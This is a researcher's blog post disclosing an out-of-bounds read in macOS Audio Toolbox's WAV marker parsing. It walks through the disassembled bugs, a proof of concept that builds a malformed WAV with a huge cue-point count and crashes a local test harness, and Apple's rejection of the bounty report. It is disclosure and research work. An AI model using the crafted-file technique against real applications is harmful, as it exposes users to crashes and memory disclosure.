Last month, while testing HOBO BN MCP, I found two very similar vulnerabilities in macOS. I reported both to Apple Product Security through the Apple Security Bounty program — one report per vulnerability. Apple confirmed one of them, and I’m now waiting for a CVE and the update that will patch it. Once the patch ships, I’ll publish a detailed write-up about that one.
The second report was rejected: “We’re unable to identify a security issue in your report.” Well — “rejected” may not be quite the right word. In all likelihood, this second vulnerability will also be fixed in a future update, just silently, with no CVE and no bounty.
As I mentioned, the two vulnerabilities are very similar, so Apple Product Security’s call on the second one came as an unpleasant surprise. But I’m not going to argue with Apple in this post. Instead, I’ll walk through the second vulnerability in detail and, at the end, share a few thoughts on why Apple Product Security might not have identified it as a security issue.
Markers in audio files
Let me back up a bit and start with markers in audio files.
What are markers?
Markers are special timestamped reference points used to flag specific moments in an audio recording. They act as “bookmarks” — helping you navigate a track, simplifying editing, or automating transitions. Markers are metadata; they don’t change the recorded audio itself.
There’s no single standard, even on paper, that defines what metadata a marker can contain or how it’s encoded at the byte level. It all depends on the audio file format:
Some formats don’t support markers at all — for example, MP3 (MPEG-1 Audio Layer 3) or OGG (Ogg Vorbis).
Among formats that do support markers, there are two broad approaches:
- the RIFF WAVE
'cue 'chunk (the Microsoft world; details below) - the AIFF Marker Chunk (the Apple world)
But even within these broad approaches, marker support — what they contain and how they’re encoded at the byte level — can depend on:
- the specific audio format
- a specific variant of that format (e.g. compressed vs. uncompressed AU)
- or even the specific software that created the marker
- the RIFF WAVE
The world of audio formats is fairly chaotic. There’s a certain beauty in that, but it can cause real problems during development. An example follows in the next section.
Audio Toolbox and a typical pattern for reading markers
Suppose a developer needs to read markers from an audio file whose format isn’t known in advance. Sure, you could write a couple dozen parsers from scratch for the most commonly used audio formats — the hardcore path of a true samurai.
But for some reason, most people don’t rush down that road. Most developers reach for libraries written by someone else instead. On Apple’s operating systems (macOS / iOS / tvOS / …) it’s especially easy: there’s a system framework called Audio Toolbox. Among many other things, it provides two functions:
AudioFileGetPropertyInfogets information about an audio file property, including the size of the property value in bytes and whether the value is writable. When called withinPropertyIDset tokAudioFilePropertyMarkerList, the function returns the size of the buffer needed to store markers read from the file.AudioFileGetPropertygets the value of an audio file property. When called withinPropertyIDset tokAudioFilePropertyMarkerList, it reads the markers from the file into the supplied buffer.
The typical pattern for using these two functions to read markers stays the same and gets copied from one project to another:
Open the audio file.
Call
AudioFileGetPropertyInfowithkAudioFilePropertyMarkerList, passing theAudioFileIDof the opened file. In return, the function tells us the buffer size required for anAudioFileMarkerList.Allocate a buffer of that size — sometimes on the stack, but more often on the heap, since a file can contain many markers and they may not fit on the stack. If you’re allocating in C++
new[]style and need a type-plus-count rather than an absolute size in bytes, useNumBytesToNumAudioFileMarkersto convert the byte size into a marker count.Call
AudioFileGetPropertywithkAudioFilePropertyMarkerList, passing:- the
AudioFileIDof the opened file - the address and size of the buffer we allocated for the
AudioFileMarkerList
In return, the function gives us:
- the number of bytes actually written to the buffer
- an
AudioFileMarkerListobject filled into that same buffer
- the
From here it’s straightforward. The
AudioFileMarkerListhas, among other fields, two we care about:- the number of markers read from the file:
mNumberMarkers - the markers themselves:
mMarkers, indexed from0tomNumberMarkers - 1
- the number of markers read from the file:
Here’s one possible implementation of this pattern in C:
/*
Getting the size of a buffer for the marker list
(afid is an AudioFileID handle for some opened audio file)
*/
UInt32 size = 0;
UInt32 writable = 0;
s = AudioFileGetPropertyInfo(afid, kAudioFilePropertyMarkerList, &size, &writable);
if (s != noErr || size == 0) {
fprintf(
stderr, "[FAIL] AudioFileGetPropertyInfo returned size=%u writable=%u OSStatus=%d\n",
size, writable, (int)s
);
AudioFileClose(afid);
return 1;
}
/*
Allocating a buffer of the size we got
by calling AudioFileGetPropertyInfo
*/
AudioFileMarkerList *list = malloc(size);
if (!list) {
fprintf(stderr, "[FAIL] malloc(%u) returned NULL\n", size);
AudioFileClose(afid);
return 1;
}
/*
Getting the list of markers
*/
UInt32 io = size;
s = AudioFileGetProperty(afid, kAudioFilePropertyMarkerList, &io, list);
printf(
"[INFO] AudioFileGetProperty returned io=%u list->mNumberMarkers=%u OSStatus=%d\n\n",
io, list->mNumberMarkers, (int)s
);
You’ll see code like this in many real-world projects. An example follows.
The pattern in a real-world project
For instance, AudioKit v4.11 (11.4k stars / 1.6k forks on GitHub) carries an in-house fork of EZAudio (5k stars / 817 forks on GitHub) under the hood. It contains the following Objective-C code:
// return the markers in this file. This will be a NSArray of
/// EZAudioFileMarkers for Swift compatibility
- (NSArray *)markers
{
// get size of markers property (dictionary)
UInt32 propSize;
UInt32 writable;
OSStatus error = noErr;
error = AudioFileGetPropertyInfo(self.audioFileID,
kAudioFilePropertyMarkerList,
&propSize,
&writable);
// returning NULL is more useful when called from swift
if (error != noErr) {
return NULL;
}
size_t length = NumBytesToNumAudioFileMarkers(propSize);
if (length == 0) {
return NULL;
}
// allocate enough space for the markers.
AudioFileMarkerList markerList[ length ];
// pull marker list
error = AudioFileGetProperty(self.audioFileID,
kAudioFilePropertyMarkerList,
&propSize,
&markerList);
if (error != noErr) {
return NULL;
}
// NSLog(@"# of markers: %d\n", markerList->mNumberMarkers );
// the native C structs aren't so friendly with Swift, so we'll load up an array instead
NSMutableArray *array = [NSMutableArray arrayWithCapacity:markerList->mNumberMarkers];
int i;
for (i = 0; i < markerList->mNumberMarkers; i++) {
...
You can find similar code in other projects that work with audio markers. A GitHub code search for kAudioFilePropertyMarkerList will turn up plenty of examples.
If you’ve made it this far but still don’t see why you need to know so much about markers, the typical code patterns for handling them, or where any vulnerability could possibly fit in — bear with me one more section. Once we’ve covered the 'cue ' chunk in WAV, we’ll (finally!) get to the bugs in the Audio Toolbox code, and then to the vulnerability Apple declined.
The 'cue ' chunk in WAV (RIFF)
WAV files store their data in so-called “chunks.” To carry markers, the format defines a special 'cue ' chunk. At the byte level, the 'cue ' chunk has the following structure:
#define CueID 'cue ' /* chunk ID for Cue Chunk */
typedef struct {
ID chunkID;
long chunkSize;
long dwCuePoints;
CuePoint points[];
} CueChunk;
Where:
chunkIDis a four-byte ASCII string, always'cue '— yes, exactly like that, with a trailing space.chunkSizeis the number of bytes in the chunk, not counting the 8 bytes used by thechunkIDandchunkSizefields themselves.dwCuePointsis the number ofCuePointstructures in the Cue chunk. The important thing here is thatdwCuePointsis fully attacker-controlled — a crafted WAV file can specify any value at all.pointsis an array ofCuePointstructures, withdwCuePointselements in it.- Each
CuePointis 24 bytes long. That’s all we need to know about it here — if you want the full layout, see here or here.
The 'cue ' chunk is optional, and a WAV file can contain at most one of them.
The Vulnerability in Audio Toolbox
We finally arrive at the bugs Apple’s developers introduced in Audio Toolbox, and at the vulnerability that follows from them.
Important note before we wade into the ARMv8-A assembly! All the machine code in this section, and all offsets within it, come from disassembling Audio Toolbox as it ships in dyld_shared_cache_arm64e on macOS 26.5.1 (the latest macOS at the time of writing this post):
/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
(sha256=2d5ec323938a842298610eb66a51e2307a2e10a220b26432672c7c4f8e7256a9)
The bug in WAVEAudioFile::GetMarkerListSize
The first bug HOBO BN MCP turned up sits in the undocumented method int64_t WAVEAudioFile::GetMarkerListSize(unsigned int*, unsigned int*) inside Audio Toolbox. This is the method that AudioFileGetPropertyInfo calls under the hood to compute the marker buffer size, when invoked with kAudioFilePropertyMarkerList and a WAV file.
The buffer size returned by this undocumented method is computed by the formula
8 + dwCuePoints * 0x28 (mod 2^32)
where dwCuePoints is read straight from the WAV file. The corresponding machine code:
int64_t WAVEAudioFile::GetMarkerListSize(unsigned int*, unsigned int*) + 208:
ldr w8, [sp, #0xc] ; w8 = dwCuePoints (from the WAV file)
mov w9, #0x28 ; w9 = 40
mov w10, #0x8 ; w10 = 8
madd w8, w8, w9, w10 ; w8 = w8 * w9 + w10 <== 8 + dwCuePoints * 0x28 (mod 2^32)
str w8, [x19] ; *bufferSize = w8
...
Once the buffer size is computed, the result should have been sanity-checked against — at the very least — chunkSize and the size of the WAV file itself. But the Audio Toolbox code does no such thing. The undocumented WAVEAudioFile::GetMarkerListSize, and AudioFileGetPropertyInfo on top of it, simply return whatever value the formula produced, as is. That lets a WAV file of less than 100 KB set dwCuePoints to 0xFFFFFFFF and trick AudioFileGetPropertyInfo into reporting a giant buffer size:
8 + 0xFFFFFFFF * 0x28 (mod 2^32) = 0xFFFFFFE0 ; 4 GiB - 32 bytes
The bug in WAVEAudioFile::GetMarkerList
The second Audio Toolbox bug lives in the undocumented method int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool). This method is called under the hood by AudioFileGetProperty to read markers into the supplied buffer, when invoked with kAudioFilePropertyMarkerList and a WAV file.
The relevant assembly:
int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 228:
; w8 = caller buffer size in bytes
ldr w8, [x20]
; w8 -= 8 (skip header)
subs w8, w8, #0x8
; w9 = 0xcccccccd
mov w9, #0xcccd
movk w9, #0xcccc, lsl #0x10 {0xcccccccd}
; x8 = w8 * w9 (UNSIGNED multiply)
umull x8, w8, w9
; x8 = x8 >> 37
; so
; w8 = (buffer size - 8) / 40 (UNSIGNED div by 0x28)
lsr x8, x8, #0x25
; if sz < 8 (UNSIGNED comparison), then w8 = 0
csel w8, wzr, w8, cc {0x0}
; w9 = dwCuePoints (read from file)
ldp w23, w9, [sp, #0x38] {var_68} {var_68+0x4}
; SIGNED w26 = min(w9, w8)
cmp w9, w8
csel w26, w9, w8, lt
; outList->mSMPTE_TimeType = 0
; outList->mNumberMarkers = w26
stp wzr, w26, [x21] {0x0}
...
int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 324:
; SIGNED comparison and...
cmp w26, #0x1
; ...early-exit (skips marker writes)
b.lt 0x186449b24 ; <+540>
...
int64_t WAVEAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) + 540:
; exit, no errors
mov w25, #0x0 ; =0
...
When a malicious WAV sets dwCuePoints with the high bit set (e.g. 0xFFFFFFFF):
The signed
min(fileN, bufCap)picksfileN(it looks negative):cmp w9, w8 csel w26, w9, w8, ltoutList->mNumberMarkersis committed to the caller-visible struct as that huge value:; outList->mSMPTE_TimeType = 0 ; outList->mNumberMarkers = w26 stp wzr, w26, [x21] {0x0}The signed
< 1short-circuit then skips the per-marker write loop — so no buffer overflow occurs inside this function:; SIGNED comparison and... cmp w26, #0x1 ; ...early-exit (skips marker writes) b.lt 0x186449b24 ; <+540>The function returns
noErr:; exit, no errors mov w25, #0x0 ; =0
So the undocumented WAVEAudioFile::GetMarkerList, and through it AudioFileGetProperty, report an incorrect — far larger than what fits in the buffer — number of markers in the mNumberMarkers field of the returned AudioFileMarkerList. And once again, the Audio Toolbox code doesn’t even try to check whether that many markers could possibly fit inside the 'cue ' chunk, let alone inside the WAV file as a whole.
Bugs + typical usage pattern = heap OOB read
So what happens if a WAV file has dwCuePoints set to 0xFFFFFFFF and we try to read markers from it through AudioFileGetPropertyInfo / AudioFileGetProperty? Knowing the bugs from the previous sections, and knowing the typical usage pattern for these two functions, the sequence is easy to predict:
We call
AudioFileGetPropertyInfofirst, and it returns a buffer size of0xFFFFFFE0— a mere 32 bytes short of 4 GiB!If we then try to allocate a buffer of that size on the stack, the way AudioKit does, this most likely ends in DoS.
On the heap, however, an allocation of that size usually doesn’t cause a DoS — at least not on reasonably modern hardware. On my MacBook Air M1 2021 with 8 GiB of RAM, the
malloccall goes through fine, the memory gets committed, and execution carries on.Next we call
AudioFileGetProperty, passing in the buffer size we just got. The call hands us back anAudioFileMarkerListobject withmNumberMarkersequal to4294967295. Fitting that many markers would require a buffer of roughly 160 GiB — about 156 GiB more than our miserable ~4 GiB.
And now, what happens if we try to grab the last marker from the mMarkers[] array of our AudioFileMarkerList object? A heap OOB read happens — because the address of that last element lands far past the end of the buffer we allocated. The PoC in the next section demonstrates exactly this scenario.
PoC
This part is straightforward:
Make sure your host is running the latest macOS (26.5.1 at the time of writing this post).
Make sure you have Python 3.6+ and clang installed.
Clone the PoC from GitHub:
git clone https://github.com/altvist/apple-audio-toolbox-oob-read-poc.gitGenerate a minimal malformed WAV that triggers the bug:
cd apple-audio-toolbox-oob-read-poc/poc/ python3 make_bad_wav.py bad_cue.wavThe expected result is
bad_cue.wavinpoc/.Build the minimal PoC harness with ASan:
clang -fsanitize=address -g -O0 poc_get_marker_list.c \ -framework AudioToolbox -framework CoreFoundation \ -o poc_get_marker_listThe expected result is
poc_get_marker_listinpoc/.
Now you can run the PoC:
./poc_get_marker_list bad_cue.wav
I deliberately wrote the PoC so that it explains what’s happening inside as it runs. You should see something along the lines of:
== STEP #1 ==
Getting file path from the command line by calling
CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1], strlen(argv[1]), false)... DONE
== STEP #2 ==
Opening the file by calling AudioFileOpenURL(url, kAudioFileReadPermission, 0, &afid)... DONE
AudioFileOpenURL returned afid=0x9eff000 OSStatus=0
We have opened the file!
== STEP #3 ==
Getting the size of the buffer for the marker list by calling
AudioFileGetPropertyInfo(afid, kAudioFilePropertyMarkerList, &size, &writable)... DONE
AudioFileGetPropertyInfo returned size=4294967264 writable=1 OSStatus=0
AudioFileGetPropertyInfo told us the buffer size for the list of markers should be 4294967264 bytes!
== STEP #4 ==
Allocating buffer of size=4294967264 bytes (exactly the size AudioFileGetPropertyInfo told us)
by calling AudioFileMarkerList *list = malloc(size)... DONE
We've allocated the buffer [0x300004800 ... 0x4000047e0] for the marker list of the size 4294967264 bytes
(exactly the size AudioFileGetPropertyInfo told us). So far so good.
== STEP #5 ==
Getting the list of markers by calling
AudioFileGetProperty(afid, kAudioFilePropertyMarkerList, &io, list)
with io=size and the allocated buffer for marker list (see previous steps)... DONE
AudioFileGetProperty returned io=4294967264 list->mNumberMarkers=4294967295 OSStatus=0
On Step #3, AudioFileGetPropertyInfo told us the buffer size for the
list of markers should be 4294967264 bytes (see above), so we allocated the buffer.
Moreover, AudioFileGetProperty has just told us that 4294967264 bytes were read to the buffer.
IMPORTANT! At the same time, AudioFileGetProperty has just told us that the number of
the markers in the buffer is list->mNumberMarkers=4294967295. Each marker is sizeof(AudioFileMarker)=40 bytes.
So, the size of the buffer for the list of markers should be at least
sizeof(AudioFileMarkerList) + (mNumberMarkers - 1) * sizeof(AudioFileMarker)
or approximately 8 + 40 * 4294967295 = 171798691808 bytes.
This is 167503724544 bytes more than the size of the buffer we allocated.
== STEP #6 ==
To demonstrate OOB read, let's try to access the last element of the buffer list:
list->mMarkers[list->mNumberMarkers - 1]
The address of the last element is so far over the end of the buffer
AudioFileGetPropertyInfo told us to allocate that ASan will report
"BUS on unknown address" instead of the usual OOB message: the address is
far from any mapped memory region, which demonstrates how large this OOB read
is and makes the vulnerability even more serious.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==40703==ERROR: AddressSanitizer: BUS on unknown address (pc 0x00018366b504 bp 0x00016d322990 sp 0x00016d322140 T0)
==40703==The signal is caused by a READ memory access.
==40703==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x00018366b504 in _platform_memmove+0x1a4 (libsystem_platform.dylib:arm64e+0x3504)
#1 0x000102add284 in main poc_get_marker_list.c:158
#2 0x0001832a3dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
==40703==Register values:
x[0] = 0x000000016d322b88 x[1] = 0x0000002b000047b8 x[2] = 0x0000000000000020 x[3] = 0x000000016d322b88
x[4] = 0x0000000102ade140 x[5] = 0x000000016d3229a0 x[6] = 0x000000016cb28000 x[7] = 0x0000000000000001
x[8] = 0x000000702da84575 x[9] = 0x000000016d322baf x[10] = 0x000000702da84571 x[11] = 0x000000002da64571
x[12] = 0x000000002da64575 x[13] = 0x0000000000000000 x[14] = 0x0000000000000000 x[15] = 0x0000000000000000
x[16] = 0x000000018366b360 x[17] = 0x0000000103558548 x[18] = 0x0000000000000000 x[19] = 0x0000002b000047b8
x[20] = 0x00000001ef52c100 x[21] = 0x0000000104749780 x[22] = 0x0000000000000000 x[23] = 0x00000001ef7e3760
x[24] = 0x0000000000000001 x[25] = 0x000000016d322e10 x[26] = 0x00000001ef7e3770 x[27] = 0x0000000000000000
x[28] = 0x0000000000000000 fp = 0x000000016d322990 lr = 0x00000001034ea97c sp = 0x000000016d322140
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (libsystem_platform.dylib:arm64e+0x3504) in _platform_memmove+0x1a4
==40703==ABORTING
zsh: abort ./poc_get_marker_list bad_cue.wav
Notice how far the last element of mMarkers is from the end of the allocated buffer — far enough that ASan reports “BUS on unknown address” instead of a regular OOB read.

How dangerous is this vulnerability?
From an attacker’s perspective, this vulnerability has several attractive properties:
- If the marker buffer is allocated on the heap, the bug reproduces reliably on essentially every reasonably modern device (the only real exception being low-memory devices like emulators).
- An OOB read of up to 156 GiB (!) past the end of the allocated buffer.
- The vulnerability is hard to catch with standard analysis tools, so it could have lived under Apple Product Security’s radar for quite a while.
On the other hand, there are real limitations:
- On its own, this vulnerability isn’t enough for, say, RCE. Turning it into a full RCE exploit would need additional bugs to build the chain.
- If the buffer is allocated on the stack rather than the heap, the best (worst?) an attacker can achieve is DoS.
- Niche attack surface. The functions
AudioFileGetPropertyInfoandAudioFileGetPropertyare called by a relatively limited class of applications, mostly various audio editors and converters that are unlikely to be installed on an average user’s or corporate device.
And, in principle, developers don’t have to take AudioFileGetPropertyInfo and AudioFileGetProperty purely on faith — they could add a few sanity checks of their own (does it really make sense for a 100 KB WAV file to claim 4,294,967,295 markers?). Even basic checks on the side of the code calling the functions from Audio Toolbox could have prevented an attacker from exploiting this vulnerability in any meaningful way.
But across the dozen-or-so audio software projects I went through, I didn’t find a single one doing that — they all followed the typical pattern from above, with only minor variations. I’m not blaming the developers here at all. They trust Apple and assume that Audio Toolbox works the way it is described in the official documentation.
Filing a Bug Report via Apple Security Bounty
At the start of this post I mentioned that I reported the vulnerability to Apple. In this section I’ll briefly walk through the timeline of what happened, and offer a few thoughts on why my report was rejected.
A few words about Apple Security Bounty
Apple Security Bounty is a fairly primitive (and, ironically, somewhat buggy) issue tracker located at https://security.apple.com/. Anyone with an Apple ID can log in and file a bug report.
“Filing a bug report” means creating an issue in this tracker and describing the vulnerability in free-form text. From there, Apple Product Security takes over, the issue starts moving through statuses, and you watch it go. You can also leave comments in the issue, clarify details, and ask Apple Product Security questions (they even answer sometimes).
In theory, every change in your issue — status update, new comment, and so on — is supposed to come with an email notification. In practice, the notifications often break, so you end up logging into the tracker by hand from time to time just to check for updates. That’s why some of the dates in the timeline below are when I logged in and saw the update, not necessarily when it actually happened.
Timeline
May 23, 2026. I created the issue, described the vulnerability in detail, and attached a PoC. The status changed the same day to “We’re reviewing your report.”
Jun 06, 2026. I logged in to check the issue. It had been closed, with the status “We are unable to identify a security issue in your report.” No comment from Apple.
I posted a comment: “So heap OOB read is not a security issue. Interesting… Anyway, thanks for the review. The good thing here is I can publish the finding in my blog. If, according to your review, it is not a vulnerability, then there is no ethical problem here.”
Jun 07, 2026. Apple Product Security silently reopened the issue, moving it back to “We’re reviewing your report.”
Jun 08, 2026. Apple Product Security closed the issue again. Along with a comment:
“Thanks for your response. We don’t treat out-of-bounds reads as categorically out of scope. Our review is based on the impact a submission demonstrates. Your proof of concept shows the out-of-bounds condition being reached, but it does not demonstrate a security boundary being crossed, such as disclosure of the out-of-bounds memory to an attacker or code execution. The impact shown is a process crash.”

I thanked them politely and let them know I’d publish the details in a post on my blog within the next two weeks.
Which is the post you’re reading right now.
Update from Jun 15, 2026 (2 days after the publication of this post):
Jun 13, 2026. I notified Apple about the publication and provided a link to this post. On the same day, they reopened the issue with the status “We’re reviewing your report.” (for the third time!)
Jun 15, 2026. The issue was closed again without any comments. At the moment, the status is “We’re unable to identify a security issue in your report.”
SSDD 🤷♂️
Why Apple rejected the report
Honestly, I don’t know. I only have a few guesses:
- Apple isn’t particularly bothered by a DoS or OOB read that occurs outside of code Apple itself wrote (even if code Apple did write is the direct cause of that OOB read).
- The niche attack surface, combined with the fact that this vulnerability on its own isn’t enough for something “big” like RCE, significantly lowers its value in the eyes of Apple Product Security.
- There are criteria and/or random factors at play during bug report review that I can’t even begin to imagine — in which case guessing is pointless.
Whether any of these guesses is correct — who knows.
Thanks
English isn’t my native language, so thanks to Claude for the help with translating and editing this post.
Experience is what you get when you didn’t get what you wanted. Thanks to Apple Product Security for the interesting experience — I’ll definitely write a separate post about it and share what I took away.
And thanks to the reader who made it all the way through — for your patience.
So it goes.
ALTV!ST